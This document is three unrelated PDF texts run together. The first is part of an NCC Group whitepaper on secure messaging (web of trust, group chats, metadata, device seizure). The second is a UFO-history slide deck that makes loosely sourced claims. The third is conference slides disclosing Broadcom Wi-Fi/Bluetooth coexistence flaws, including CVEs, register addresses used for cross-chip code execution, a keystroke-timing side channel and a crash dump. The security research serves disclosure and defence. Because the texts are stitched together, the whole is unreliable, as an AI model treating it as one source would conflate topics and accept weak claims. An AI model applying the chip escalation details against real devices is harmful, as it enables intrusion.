Figure 7: The Web of Trust
There are many subtle problems with the web
of trust. The biggest one for the purposes of this
paper is that a new user is an island (as shown
above with Frank). Poor Frank trusts no one, and
no one trusts Frank. If Frank were real-life friends
with Dave, an attacker would easily be able to
impersonate Dave - because Frank has no way to
trust the Dave that is in the graph. Frank could
look at Dave and see he is connected to mutual
friends - but Frank can't validate those people
either!
Someone could have replaced Frank's
entire social circle – and Frank would have no
idea. This sounds far-fetched, but it's generally
easy to create spam accounts, and this attack has
been demonstrated before.
Another variant of this attack is a mutual friend of
the group, Gary, who has never signed up for the
service because he's staunchly opposed to the
idea of being near anything that transmits like a
radio. (He also lives in a cabin in the forest, removed his car stereo, and uses his own waste as manure, calling
it "humanure", which is why his friends don't visit him much.) If one day "Gary" signed up for the service - the
social circle wouldn't find out it wasn't the real "Gary" until they talked to him in person!
So, even for the Web of Trust, the first verification done must be another type: either TOFU or Out-Of-Band.
And this is required whenever social circles do not touch. If you communicate with a lot of different groups of
people: this could be very often.
Other attacks focus on the transitive nature of the web of trust. Everyone in the web must have the same
standards for how they "trust" someone. If Carol did a poor job of verifying Dave's key, Alice's message to
Bob could be compromised. The proliferation of social networks, and the easiness in which we may accept
friends on them, is a great example of how "Trust" may become "An attractive person messaged me". An
adversary on the web might do this intentionally, causing anyone who chains trust in this way to receive keys
belonging to that adversary instead of the real ones.
Additionally, the public nature of the web of trust means that it is possible for anyone to see with whom
someone communicates. That is a large leak of the social graph and metadata.
5.3.2 Trusted Introductions
An alternative to the public web of trust are private, trusted introductions. These take the form of someone
you already trust (in the diagram above, Carol could introduce Dave to Alice.) This seems similar to the web of
trust - but it's different because Alice has no way to learn that Dave knows Carol (unless one of them tells her).
Once Alice learns this, she can ask Carol to perform an introduction. The introduction is a private message no
one else sees.
Once introduced, Alice and Dave can communicate independently of Carol and introduce each other to more
people.
13 | Secure Messaging for Normal People
NCC Group
5.4 Validation is forever until it isn't
It's worthwhile to note that in a secure chat solution, key validation is only required once. The exception
to that is if your communications partners lose their keys, (For example, getting a new device or factory
resetting an existing one.) their fingerprint will change - and validating their new key is required just as before.
Once the new key is validated, the old key should not longer be accepted by the application - you wouldn't
want someone having their phone stolen, and the thief being able to impersonate them in an encrypted,
authenticated chat.
14 | Secure Messaging for Normal People
NCC Group
6 Group messaging
The above scenarios have assumed communications that are intended only for two people. Some other issues
arise when attempting to secure multiparty chats. The rest of the examples in this section assume some sort
of end-to-end encryption between all of the participants in the conversation, where each user is obligated to
send the same message to all users in the chat.
6.1 Ice cream attack
Figure 8: Poor Dave, he loves ice cream so much, but
he types so slow!
When a group of people are in a room, it's
obvious to see who is talking, and you can avoid
interrupting people (or do it on purpose.)
But
when several people are on a phone call, there is
that slight delay between when you start talking,
and when you hear someone else start talking.
This delay is magnified when users are typing
on keyboard, especially thumb-typing on small
keyboards. It may seem like a small problem, but
ordering messages is anything but.
The ice cream attack becomes even more power-
ful if the attacker is part of the chat, and purposely
delays some other users' messages to change the
context of what they say!
6.2 Membership changes
Another problem with group chats – especially
when you take into account the problem of
message ordering – is that it's difficult to remove
members.
Suppose the four friends have had
enough of Bob's fanaticism and want to remove
him from their ice cream chat.
How do they remove him?
There aren't many
good options:
1. Any member can arbitrarily remove any other member from a group chat. This works well for small
circles of friends, but completely breaks for random groups of people on the Internet
2. It requires a majority vote. This works horribly in a text messaging scenario where people take a long
time to reply or vote. Alice decides to call a vote to kick Bob... but any discussion about doing so
happens in front of Bob - because he's not kicked yet! And it requires a majority to vote
3. A majority vote with a time limit? It's not clear this is a particularly usable solution either.
4. There is the concept of a "moderator" who has the authority - First off, there's the social aspect of "Which
of your friends would you both trust and respect enough to moderate your circle of friends?" But there's
also the very real problem that the moderator has to be online and responsive or you have the same
delay problems.
15 | Secure Messaging for Normal People
NCC Group
6.3 Group chat protocols
Overall the encryption protocols for group chat systems are not as well understood as those for only two
parties, so there could be other issues lurking beneath the surface here that we don't know about yet. This
means that if your security needs are particularly acute, you probably should avoid group chat.
16 | Secure Messaging for Normal People
NCC Group
7 Open source
Many commentators on the topic of secure messaging clients will tell you that only open source programs are
safe. It is important to understand what exactly open source software contributes to the security posture of a
secure messaging program
7.1 Security audits
Errors in application design, coding, or cryptography can undermine the security of a secure messaging system.
In the past, a commonly held belief in some circles was that open source software would be more secure as
a result of its openness to be examined by anyone. The past couple years have shown that the availability of
source code to the public is not in itself enough to produce a secure result. The discovery of complex bugs
requires a concerted, methodical approach by talented individuals that simply cannot be applied en masse to
all open source software. But, open source software significantly lowers the barrier to both having an audit
conducted, and verifying that developers take security concerns seriously.
Generally speaking, you should use messaging systems that have been audited by experts and where the
problems uncovered during those audits were fixed in a timely manner. If a crypto vendor claims that an audit
was done, but they don't show you the results (hopefully both the findings and the fixes), you're pretty much
taking them at their word that the system is safe for use.
7.2 Does it do what it says?
A better argument for open source secure messaging systems is that an examination of the source is the best
way for the public to determine if a program is actually providing the protections it claims. With a closed
source system, the public can only take it on faith, based on how much they trust the creators of the software.
That being said, most members of the public are not able to do this analysis themselves. Instead, some
well-regarded members of the community might do some analysis of a particular program and then provide
some commentary about the security guarantees it provides.
7.3 Did we get the program we analyzed? (reproducible builds)
Unless you are going to manually inspect and build every program you use, you will have to at some point
take someone else's word that the programs that you use do what they say they do – and this applies to open
source software as much as closed source. If someone you trust analyzes the source of a program, how do
you know that you will receive the same thing that was analyzed? For closed source software, even if there
was an audit conducted by someone you trust, there is no guarantee that what you actually download is what
was audited.
For some threat models, one should assume that software delivery channels (Download sites (even over
HTTPS), App Stores, etc.) are potentially hostile. If your threat model includes these kinds of attackers, you
cannot trust any software provided over any of these channels, even if the application is open source and/or
audited by a trusted party.
On systems where it is easy to build your own software, you could hope that the people you trust who did the
audit provided some sort of signature over the code that was audited. Then, when you download the code
yourself, you could verify that the signature matches, and you could be reasonably certain that the software
you build is the same as the one that was analyzed.
But for people who have things to do, places to see, and sweet, sweet cinnamon buns to eat at every
opportunity - building every piece of software I want to run on my system is out of reach. So how can I, the
cinnamon bun-loving public, know that a program I download was produced from the source code that was
audited? Unfortunately, this is a very difficult problem currently. There are a few projects that have achieved
17 | Secure Messaging for Normal People
NCC Group
the holy grail of "reproducible builds" - but this is only possible on certain platforms (like desktop Operating
Systems and Android).
A trusted auditor could review the code, provide commentary, and then build the code and provide the
fingerprints for that build. A typical user could then use a verification program to ensure that a downloaded
binary actually corresponds to the code that was audited.
It's not likely that this will ever be usable for regular users for platforms like iOS, where only programs from the
App Store are allowed and binaries are modified by Apple before being delivered to a user3
7.4 Operating systems and open source
To continue down the rabbit hole, an application can only be as secure as the operating system it runs on.
Some threat models would include an attacker that could control operating system vendors. Most desktop
and laptop users are running closed-source operating systems. Mainstream mobile operating systems contain
some open-source components, but enough closed-source functionality exists in enough critical areas to
render the distinction meaningless for the purposes of this discussion.
We're still awaiting the year of Linux on the desktop. Even if we had it, most users aren't able to build an OS
from scratch anyway, so a subverted distribution channel would still be an issue.
7.5 How many operating systems are on your device? And what do they run on?
And if we're going to look into the rabbit hole, we may as well look in all the parts of the burrow and see just
how much is down here. (I've always suspected rabbits connect their burrows into a thriving rabbit-tropolis
under my yard.)
Modern computing equipment actually includes many CPUs or microcontrollers, in some cases running mul-
tiple operating systems. Desktops and Laptops have dedicated microcontrollers in UEFI/BIOS, disk drives
and many peripherals. Many phones have a separate secured mode (TrustZone) running concurrently with the
main operating system. A System-on-a-Chip (SOC) used in a phone might have multiple discrete CPUs. A
phone might also have one or more baseband processors used to handle network communications. Often
the interconnections between these various operating systems and components are arcane, if not completely
opaque to the user, and none of them are likely to be open source in the near future.
Because of all of these interconnected pieces, all of which are closed-source, and at least some of which are
connected/updatable from a network interface (often without user knowledge/interaction), even a fully open
and audited "main" operating system doesn't provide a significant security hurdle in the face of some types
of dedicated attackers.
Even if we handwave away all of the above and assume that all of the operating systems and firmware on
a device are open and secure, various types of hardware design backdoors or flaws are available to highly
motivated attackers. Some progress is being made in providing fully open hardware designs, which is a great
step forward. However, revelations in the past couple years show that even if we assume hardware and software
that were designed and built securely, some attackers can add or modify hardware in a system to provide
access.
After taking all of the above into account, it should become clear why open source is not a security panacea.
3Some subset of this would be possible for jailbroken users.
18 | Secure Messaging for Normal People
NCC Group
8 Metadata
Metadata is information about communications that isn't the actual content of the messages themselves. This
could include the times and dates, lengths, and parties involved in a communication. Often metadata can
reveal as much information, if not more, than the message content. As one pretty important man once said:
"We kill people based on metadata."4
8.1 Direct collection of metadata
In almost all cases, assume that the vendor of the chat application can collect metadata directly. End-to-end
encryption can protect message content but cannot prevent a provider from collecting metadata. A highly
motivated attacker might attempt to gain access to a messaging provider's networks to collect metadata
(either about specific individuals, or in bulk). A provider serious about protecting privacy will keep as few
communications logs as possible and might consider obfuscating the information. A provider with commercial
interests such as analytics or targeted advertising is likely to retain metadata information, which might make it
more accessible to other attackers.
Even if the server runs open-source software, there is still no real way to verify that the server is not collecting
metadata.
8.2 Inferring metadata as a global passive adversary
Attackers with access to a significant portion of the network infrastructure between two users and/or the
messaging server might be able to infer metadata by watching for patterns in timing or message size.
Figure 9: Even when encrypted, timing and size can
match senders and receivers
This becomes more difficult if the messaging
server and/or client attempt to obfuscate com-
munications by delaying messages or sending
dummy messages, but these techniques might be
defeatable by statistical techniques.
8.3 Identifiers as metadata
The chat server will be able to identify your public
IP address under most circumstances. This means
that even if your provider doesn't have your real
name, they might be able to link your messages
to a particular address in the real world.
If an
attacker has access to IP logs from the chat server
and your Internet provider, the attacker might be
able to match these to lead to your identity.
Some chat systems require you to register and communicate using a valid phone number. These would require
you to take extra steps to mask your identity as compared to a system that allows arbitrary usernames. A
collection of phone numbers is likely to be more useful to attackers than a list of arbitrary usernames.
8.4 Address book harvesting
Many chat systems will attempt to upload your address book from your phone to the server. This allows the
collection of metadata that doesn't include call information, but instead provides the ability to create a graph
of "who knows who".
Some chat programs will attempt to obfuscate this in various ways before sending to the server (hashes and
4Retired General Michael Hayden - https://youtu.be/UdQiz0Vavmc?t=27s
19 | Secure Messaging for Normal People
NCC Group
bloom filters come to mind), but these techniques are not effective at scale. At the end of the day, you must
assume that if the chat service provides any sort of matchmaking by contact list (phone numbers, email address,
etc.), the chat server can read your social graph.
8.5 Is there any cure for metadata?
All of these explanations may make it seem hopeless, and that one cannot protect oneself from giving away
metadata to anyone. That's not the case – tools like Tor (and to a lesser extent VPNs) do effectively hide a lot
of metadata. Integrating something like this into an application can go a long way to disguise who's talking
to who. But like group messaging any claims should be viewed very suspiciously.
In particular, Tor does not claim to address a "Global Passive Adversary". This is generally understood to mean
an eavesdropper who can effectively watch the whole internet at once. Adversaries who can watch both ends
of a Tor connection might also be able to infer metadata without a "global" reach.
20 | Secure Messaging for Normal People
NCC Group
9 Physical device access/seizure
For some threat models, it makes sense to consider a case where your adversary is able to access your device
physically. The security of your device (especially full disk/hardware backed encryption and a strong passcode)
plays a big role here, but is mostly out of scope for this discussion. For the rest of this section, we assume that
your adversary was able to bypass any existing OS or hardware encryption so we can focus on the features of
the applications. 5
9.1 Logs & transcripts
It should go without saying, but a system that saves logs or transcripts of old messages risks exposure of either
metadata or message content if an adversary is able to access that data. The chat transcripts are easy to see
by just scrolling up (or the equivalent) - the logs would be hidden from view.
To be secure, messaging systems should offer the ability to erase message content, metadata, and/or internal
contact lists. 6
Some systems will provide options to not log at all, or to automatically remove records after a certain period of
time (but see "Auto-deleting messages" below for some limitations of this strategy). This is helpful in limiting
the amount of data available if your device is seized before it can be wiped.
9.2 Forward secrecy
Imagine an adversary who doesn't have the ability to decrypt your traffic, but records it all anyway in the hope
that later decryption will be possible. Some time later, your device (or the other encryption endpoint) gets
taken by this attacker.
For some types of encryption, the attacker now has control of the keys used to encrypt all of the recorded
traffic, so the attacker can now read all of it. However, a combination of a few cryptographic techniques can
make it such that the recorded network data will still be unreadable even if the attacker steals your device.
This property is called Forward Secrecy (FS)7
5Much of the discussion below will also apply if an attacker uses some sort of exploit to gain logical access to your device as a
privileged user.
6This can be challenging on flash storage systems, as their controllers often write data in unpredictable or opaque ways - but the
application can at least attempt to delete the data.
7And may also go by the name `Perfect Forward Secrecy'.
21 | Secure Messaging for Normal People
NCC Group
10 Things that don't work
like you think they do
Not everything in the secure messaging space works like it says on the tin. Some of these are negligently
misleading at best, whereas others simply have some subtle details that aren't immediately obvious.
10.1 Auto-deleting messages
Many chat programs have a setting that deletes a message for both parties after some automatic or user-
selected countdown value. This can be useful to help keep message history to a minimum, but it relies on
the cooperation of your communication partners. If the person receiving the message chooses to save the
message beyond the purported lifetime of the message, there are a variety of techniques available, and there
is nothing that the sender can do to prevent this (or even to reliably detect it). For an obvious example,
just imagine that the receiver has a second camera and takes a photo of the screen whenever one of these
messages comes in.
10.2 One time pads
One time pad cryptography (also called the Vernam Cipher) is provably secure from cryptanalysis when used
correctly.
Unfortunately, it's nearly impossible to be used correctly in a meaningful way. These types of ciphers require
large amounts of truly random input and a secure way to synchronize this random data between the commu-
nication partners.
If you see a modern secure messaging application that claims security by virtue of its one time pad implemen-
tation, it's likely that the system is either not really secure (for example, it uses pseudorandom data generated
from a shared key, or it transmits the pad material over some other less-secure medium), or not practical for
normal use.
10.3 Special crypto hardware
A few devices are available that treat the phone (or other device) as an untrusted network device and provide
their own encryption via some attached hardware. Leaving aside any security vulnerabilities that might allow
a hostile device to attack the crypto hardware directly, a hostile phone might simply elect to turn on its own
microphone to listen to the conversation before it is encrypted.
10.4 Geofencing
Some messaging applications claim to only send messages to devices within a certain geographic area. In
almost all cases (see mesh networks below for a counterexample), this all happens on the server based on a
receiver's reported location. It is relatively easy to purposely misreport a location to allow one to read or send
data that one would not normally be allowed to.
10.5 Mesh networks
Mesh networks have a variety of technical advantages and constraints, but in terms of security they are no
different than any other messaging system. There is no special magic that makes them more secure other than
the fact that you must actually have a receiver able to receive/transmit to a member of the mesh.
These deserve special mention because they have been used during protests where traditional methods (SMS,
Voice, and mobile data) were unavailable (or perhaps intentionally deactivated by the authorities). There is
nothing intrinsic to mesh networks that would make them safe. The authorities (or other adversaries) could
connect to them and log message data (if unencrypted) or metadata (usernames or device identifiers).
22 | Secure Messaging for Normal People
NCC Group
10.6 Military-grade
This essentially means that a particular set of encryption algorithms were used, but doesn't address any of the
topics in this paper. Claiming "military grade encryption" in marketing materials is something like claiming
your car is safe because it has a bulletproof windshield.
10.7 Bespoke cryptography
The details are beyond the scope of this paper, but it's generally safe to assume that something using custom
cryptographic algorithms or protocols is less secure than something using well-known ones. A special subset
of this is that cryptography algorithms that are kept secret are usually very poorly tested and not likely to be
secure.
10.8 Multiple synchronized devices
There are a variety of technical reasons why having multiple devices all synchronized to the same account can
be difficult if the messages use end-to-end cryptography. Either one key is shared amongst multiple devices
(which means that one stolen device can masquerade as all of the rest) or more complex cross-signing schemes
are needed. Cross-signed schemes end up with more complex problems, like "If there are two devices, and
one is stolen, which one can invalidate the other?". Alternatively, a server could manage the multiple identities,
but this endangers the end-to-end and key verification properties of a system.
23 | Secure Messaging for Normal People
NCC Group
11 Conclusion
Hopefully we've illustrated what the different secure messaging clients can offer to help preserve privacy and
also shown their limitations. No software application alone will be likely to provide effective protection against
a government that is specifically targeting you, but the correct choice of application, used correctly, can have
a major impact in keeping your data safe from prying eyes in all other cases.
24 | Secure Messaging for Normal People
NCC Group | pdf |
UFOs and Government:
A Historical Inquiry
What a UFO is not.
What a UFO ... is.
The modern era of UFOs begins in the 1940s.
It begins with "foo fighters" over Germany and
Japan in 1944.
Military pilots reported objects like these:
Date: September 25, 1947
From: Lt. General Nathan Twining
To: Commanding General of the Army Air Forces; Brig. General George Schulgen
Subject: Air Materiel Command Opinion Concerning "Flying Discs"
... It is the opinion that:
a. The phenomenon reported is something real and not visionary or fictitious.
b. There are objects probably approximating the shape of a disc. Of such appreciable size as
to appear to be as large as man-made aircraft.
c. The reported operating characteristics such as extreme rates of climb, maneuverability, and
action which must be considered evasive when sighted by friendly aircraft and radar ..."
Congressman Lyndon B. Johnson inquired about the discs and was
told:
"The Army Air Force is conducting an investigation of the alleged
'flying discs.' Detailed statements of credible witnesses are being
carefully reviewed."
Which they were.
The US Air Force responds with PROJECT SIGN in 1948. Three
hypotheses are considered (Russian? American?
Extraterrestrial?) and the first two are rejected.
That hypothesis is rejected at the top and knocked back down.
But UFO reports don't stop and the USAF tries again - with
PROJECT GRUDGE IN 1949.
Press releases will conform to the following policy:
""We have investigated and evaluated ________ and have found
nothing of value which would change our previous estimates on
this subject."
Some become unhappy with the lack of a
serious effort and forthrightness, e.g.
Chief of AF Intelligence General Charles Cabell
who said to Pentagon officers:
"What do I have to do to stir up action? Anyone
can see that we do not have a satisfactory
answer to the saucer question....I want the
answer to the saucers and I want a good
answer."
•June 1952. Orders are issued to fire ... on a mirage? on a
hallucination?
• "At a distance of 130 miles to the northeast of Washington
DC, three different Army radar units detected an object at
18,000 feet. The object's signal was strong, it remained
stationary on radar for 30 minutes and then began to move.
By the time it reached the edge of our scopes it was
traveling over 1000 mph.
• "Our report went all the way to the Pentagon and the order
came back that if another one came in then we were to fire
on it. After that first night, we loaded our 99mm anti-aircraft
guns which was an unusual thing to do in a populated area.
We also scrambled F-94 jet fighters from McGuire AFB."
July 1952. Washington D. C. Washington
National Airport and Andrews AFB pick up
unknown objects on radar. Ground observers
see them. F-94s are scrambled and pilots see
them too.
At a press conference, Major General John
Samford, Chief of AF Intelligence, states:
"Credible people have seen incredible things."
and the Washington Post reported ...
July 28, 1952, headline of the Washington Post:
Project Blue Book
The USAF creates Project Blue Book with Dr. J. Allen Hynek,
Northwestern University astronomer, as resource scientist.
The CIA gets involved and concludes a study:
- Flying saucers are not a threat to national security but
reports of flying saucers are.
- Military personnel should be trained in proper observation
of flying saucers.
Programs should be created to debunk flying saucers to the
citizenry.
Fast forward to Hynek when he created CUFOS (The
Center for UFO Studies) as an independent organization
because he became disillusioned with the USAF:
"The public was, in fact, placed in the role of 'the
enemy,' against whom 'counterespionage' tactics must
be employed. From my personal experience, I
frequently felt that those in charge did consider people
who reported UFOs or who took a serious interest in
them and wanted information about them, as
enemies." (UFOs and Government: A Historical Inquiry,
p. 243)
•Three legs of the stool of disinformation and
deception:
•
ILLUSION
•MISDIRECTION
•RIDICULE
•but the greatest of these is ridicule.
As military personnel were trained and the public "managed,"
sensor data was collected from a significant number of sightings.
Speaking of extraordinary speeds and maneuvers by UFOs, Dr.
Hermann Oberth, von Braun's mentor in rocket technology, wrote,
"The accuracy of such measurements has not been doubted. If
there would be only 3 or 4 measurements, I would not rely on
them .... but there is existing more than 50 such measurements
the wireless sets (radar) of the American Air Force and Navy,
which are used in all fighters, cannot be so inaccurate that the
information obtained with them can be doubted completely." -
from his lecture notes for a talk given in Germany, "UFOs and
Government: A Historical Inquiry," pp. 274-5.
During the 1950s Project Blue Book debunked
cases, often using impossible explanations.
One particularly interesting case was the well-
documented RB-47 event.
An RB-47 bomber was paced for hours by a
UFO. Aircraft and ground radar as well as visual
observation confirmed the event. The RB-47
received radar transmissions from the unknown
on its own radar frequency. The Project Blue
Book file on this case has never been found.
In the 1960s, NICAP was created, headed by former
CIA director Admiral Roscoe Hillenkoetter who said
in May 1960:
•UFOs are guided by intelligence.
•They are not Russian.
•We have not properly investigated them.
•Congress should investigate UFOs.
Congressional investigation was squashed by the
USAF.
In the 1970s, numerous events compelled the
USAF to commission a university to investigate.
In 1969 the Colorado Project - the Condon
Committee - concluded - despite its own
"unknowns" and hundreds of pages of
discussion - that the AF should stop
investigating UFOs. The USAF closed Blue
Book and stopped responding to public
inquiries. Subsequent AF investigations have, c,
leaked through FOIAs.
And Hynek founded CUFOS in protest.
Interesting cases did not go away.
•24 Oct 1968 - Minot AFB - a thoroughly documented account of
a remarkable incident - www.minoitb52ufo.com - earlier case
but worth reading.
•Oct 1975 - Loring AFB - FOIA elicited 24 documents describing
a B-52 bomber crew on the ground observing an object 300
feet away and five feet above the ground.
•Sept 1976 - Tehran Iran - a DIA FOIA response details a "dog
fight" between fighters and a UFO. An Iranian General later
goes public at a Washington press conference, confirming this
event. The DIA report says the case is of the highest credibility.
•Nov 1986 - Alaska - the FAA release documents after FOIA
about a radar and visual case.
2013: "UFOs and Government: A Historical
Inquiry" is recommended for inclusion in
university libraries because it stands out as an
"EXCEPTION" to other work in the field.
Nearly 1000 citations in almost 600 pages
illuminates the history of the government's
response, with minimal speculation, no
conclusions about aliens and origins, but ...
if you see the nose of a camel inside the tent,
do you think there might be ... a camel? | pdf |
Spectra
New Wireless Escalation Targets
Jiska Classen
Secure Mobile Networking Lab - SEEMOO
Technische Universität Darmstadt, Germany
Francesco Gringoli
Dept. of Information Engineering
University of Brescia, Italy
2
Motivation
3
When you got Bluetooth on-chip RCE...
35C3 Talk: https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth, Frankenstein Fuzzer: https://github.com/seemoo-lab/frankenstein
4
...but Wi-Fi has more privileges.
“But it’s connected via UART!”
“Can you pop calc?”
5
Let’s break inter-chip separation!
6
Spectra: SpeculativeSpectrum Transmission
●
Wi-Fi, Bluetooth, and even LTE share frequencies in the
2.4 GHz spectrum.
●
They cause interference in small devices like smartphones.
●
Wireless combo chip performance optimization:
enhanced coexistence mechanisms.
●
Observable side effects of transmission delays and
coordination lead to side channels.
●
Attackers require code execution privileges,
but they can escalate between wireless cores
without further checks by the operating system.
SPECTRA
7
Wireless Architecture (iOS)
8
Spectra Impact
1.
Denial of Service
One wireless core denies transmission
to the other core.
2.
Information Disclosure
One wireless core can infer data or
actions of the other core.
3.
Code Execution
One wireless core can execute code
within the other core.
9
Broadcom
Coexistence
(and Cypress)
10
Broadcom: ~ 1 Billion Devices
●
Apple
○
All iPhones, MacBooks, iMacs, older Apple Watches
●
Samsung
○
Samsung Galaxy S and Note series in Europe
●
Google
○
Only older devices, e.g., Nexus 5/6P
●
Raspberry Pi
●
IoT devices
○
Fitbit Ionic
...and no firmware checks. A perfect prototyping platform \o/
11
Coexistence: Escalation within the chip
From the BCM4339 datasheet (Google Nexus 5).
12
AN214852 - Collaborative Coexistence Interface Between Cypress-to-Cypress Solutions and Cypress-to-third-party Chips
By the way, throughput really sucks with ECI disabled. You cannot stream a
video with Wi-Fi and listen to it with your Bluetooth headset.
13
Serial Enhanced
Coexistence Interface
(also SECI, ECI, GCI)
14
●
Separate Bluetooth (CYW20719) and
Wi-Fi (CYW490307) boards.
●
Only connection: Serial Enhanced Coexistence
Interface (SECI).
●
Separate antennas, exclude side effects!
●
Debugging with logic analyzer.
Serial Enhanced Coexistence Interface
Wi-Fi
Bluetooth
15
What does it look like?
16
Reconfigure SECI
17
CVE-2019-15063 (reported August 2019)
●
When Bluetooth writes to the gci_chipcontrol register at 0x650200,
this crashes Wi-Fi.
●
We can observe a voltage drop with the logic analyzer.
●
Causes a kernel panic on various devices, Wi-Fi PCIe behaves really strange
afterward...
Denial of Service BT→Wi-Fi
18
macOS Kernel Panic Demo
19
Denial of Service BT→Wi-Fi
21
Wi-Fi D11 Core
22
Quite the same real-time architecture since 2003:
●
Initial version: Soft MAC Linux host talks directly with low level stuff.
●
Newer versions: Full MAC additional ARM core offloads almost all operations.
Broadcom Wi-Fi Architecture
Since BCM94303 (2003) and BCM94318E (2006), chipset initially called Airforce One
Userspace
Linux Kernel
Wi-Fi Module
Shared Memory
ucode Memory
D11 PSM CPU
Tx FIFO
Rx FIFO
Baseband
PHY
DSSS
PHY
OFDM
PHY
D11 MAC Core
Radio
Front-end
Host
Wi-Fi Chipset
RF
Userspace
Linux Kernel
Wi-Fi Module
Shared Memory
ucode Memory
D11 PSM CPU
Tx FIFO
Rx FIFO
Baseband
PHY
DSSS
PHY
OFDM
PHY
D11 MAC Core
Radio
Front-end
Host
Wi-Fi Chipset
RF
ARM CM3
RAM/ROM
DMA
Full
MAC
23
Runs ucode, instruction set very proprietary, never seen in other architectures
●
8 bytes fixed-length instructions
●
three operands instructions plus very weird bit-oriented operators
●
tightly connected to PHY hardware
●
example from the main loop:
jext EOI (COND_RX_PLCP), rx_plcp // Preamble (Physical-layer convergence protocol)
jext COND_RX_COMPLETE, rx_complete
jext EOI (COND_RX_BADPLCP), rx_badplcp
jnext COND_RX_FIFOFULL, rx_fifofull
●
example from send_response code:
mov 0x0D4, SPR_TME_VAL6 // ACK indicated by 0xD4
mov 0x035, TX_TYPE_SUBTYPE
je RX_TYPE_SUBTYPE, TS_PSPOLL, pspoll_frame
Existing disassembler/assembler (customized to support later instructions)
●
Michael Büsch created it back in 2007, updated since then within Nexmon.
●
hints about registers from many piece of software leaked publicly.
D11 Core: A Specialized Microcontroller
Public ucode tool initially released by Michael Büsch in 2007 (https://bues.ch/cgit/b43-tools.git), continued within Nexmon (https://github.com/seemoo-lab/nexmon).
24
Inside the D11 Core
Specialized MAC CPU
●
Controls Tx and Rx engines
○
channel access scheduling, retransmission
○
filters incoming packets
●
Direct access to hardware:
○
PHY registers
○
Radio
○
Interfaces, i.e., coexistence with Bluetooth
●
Up to 64kB ucode memory
●
Up to 8kB own RAM (called Shared Mem)
●
Indirect access to host memory/FIFO
●
Sub-µs accuracy
●
many interfaces, like SECI...
ARM CM3
RAM/ROM
DMA
Tx/Rx FIFO
Rx Engine
Tx Engine
Template RAM
Maps memory/frames
from main host
D11 CPU
Decides if frames are
pushed to host (CRC)
ucode
Loaded by ARM
firmware
Shared Mem
Indirectly accessible
by ARM firmware
PHY
25
Quite a few registers directly accessible from D11
●
a 64-bit buffer for rxing messages from Bluetooth (time indications and msg type!)
○
messages are “streamed” from Bluetooth with high rate (every 1.25ms)
●
programmable timers
●
one register btcx_trans_ctrl with two bits for telling Bluetooth
○
who has priority
○
who is controlling antenna
○
it is a grant/reject interface
D11 ucode (reference 43909B0 from Cypress):
●
12% of the 47kB ucode for coexistence
Jitter to Bluetooth measured with FPGA
●
receive a frame, wait until the end
●
transmit a SECI message
●
approximately 200ns std
D11 Coexistence Interface (SECI)
Wi-Fi #1
Wi-Fi #2
FPGA
26
Breaking the
Grant/Reject Scheme
27
Bluetooth Grant and Reject Counters
28
CVE-2020-10370 (reported March 2020)
●
When Wi-Fi is active and then stops sending SECI messages,
Bluetooth stops transmitting packets.
Denial of Service Wi-Fi→BT
29
Observe SECI in Wi-Fi
30
Let’s take a closer look!
Bluetooth keyboard connected, Wi-Fi is idle. Bluetooth sends a message every 30ms and Wi-Fi is sleeping.
31
Accurate Key Timings
32
CVE-2020-10369 (reported March 2020)
●
Each Bluetooth Human Interface Device (HID) event generates a SECI message.
●
HID devices exist in different event timing variants, the keyboard under test had
30ms, but other keyboards have 12.5ms, 15ms, etc.
●
SECI messages are polled every 1.25ms by the Wi-Fi D11 core.
●
The SECI message for keep alive packets is different from the SECI message
containing a HID keystroke.
→ Infer keystroke timings and keypress amounts.
Information Disclosure Side Channel
34
WLAN RAM Sharing
35
When you spent too much time looking for side channels...
36
From the BCM4339 datasheet (Google Nexus 5).
RAM sharing??! Only one direction?
37
●
Bluetooth-only chips with coexistence interface?
Cypress WICED Studio contains partial symbols for CYW20719, CYW20735,
CYW20819 including register mappings, but nothing in there.
●
Bluetooth/Wi-Fi combo chips?
But they also forgot the symbols of one MacBook Pro (2016 model).
wlan_buf_* … let’s go for this!
Where is the shared RAM?
38
CVE-2020-10368 (reported March 2020)
●
Bluetooth can read information from the Wi-Fi RAM starting at register 0x680000.
This is mapped to Wi-Fi 0x180000. This range starts with a packet buffer.
Information Disclosure
39
CVE-2020-10367 (reported March 2020)
●
Bluetooth can write data to the Wi-Fi RAM starting at register 0x680000. This is
mapped to Wi-Fi 0x180000.
●
At 0x181000, Wi-Fi contains a function pointer table.
We can gain Wi-Fi code execution on a Samsung Galaxy S10 by writing to
0x681024 in Bluetooth.
Code Execution
CONSOLE: 000288.686 THREADX TRAP INFO:
CONSOLE: 000288.686 Thread: main_thread(ID:0x54485244) run cnt:7792
CONSOLE: 000288.686 Thread: Stack:002fff24 Start Addr:002fdff0 End Addr:002fffef Size:8192
CONSOLE: 000288.686 Thread: Entry func:001c556d
CONSOLE: 000288.686 Thread: Timer:0022cfcc
CONSOLE: 000288.686
CONSOLE: FWID 01-a4172c0
CONSOLE: flags 30040007
CONSOLE: 000288.686
CONSOLE: TRAP 3(2ffeb8): pc 67452300, lr 19b569, sp 2fff10, cpsr 68000193, spsr 68000033
CONSOLE: 000288.686 ifsr 0, ifar 67452300
CONSOLE: 000288.686 srpwr: 0x100b0000 clk:0xb0040 pmu:0x13e 0x5fcbc7df 0x0
CONSOLE: 000288.686 r0 2e15a8, r1 2c96a4, r2 2ca298, r3 0, r4 2c9708, r5 19c46f, r6 467ae
CONSOLE: 000288.686 r7 40, r8 28bde0, r9 2f9224, r10 2fdff0, r11 0, r12 67452300
CONSOLE: 000288.686
CONSOLE: sp+0 00000000 13d75f00 002d3a84 0028bde0
CONSOLE: 000288.686 sp+10 00299b74 00000000 0022d084 0028bde0
CONSOLE:
CONSOLE: 000288.686 sp+20 0019c46f
CONSOLE: 000288.686 sp+3c 00195a55
CONSOLE: 000288.686 sp+54 0019c46f
40
...also on macOS, MBP 2019/2020 (BCM4377)
41
CVE-2020-10367 and -10368: A few devices...
42
PCIe
43
When you have no idea what you’re doing...
44
Wi-Fi code execution leads to various kernel panics
Kernel panics captured so far:
●
Samsung Galaxy S10e on Android 9
●
iPhone 8 on iOS 13.3, iPhone 6 on iOS 12.4
●
...also macOS but likely another issue in the Bluetooth driver.
45
iOS Kernel Panic Demo
46
The “Patch”
47
Other Chips
48
Mobile Wireless Standards: Bluetooth/LTE Coexistence
49
Everyone has proprietary coexistence features \o/
●
Asked Broadcom if we can also include other wireless manufacturers into the
responsible disclosure process.
●
Yes, we can :)
●
Forwarded to Intel, MediaTek, Qualcomm, Texas Instruments, Marvell, NXP.
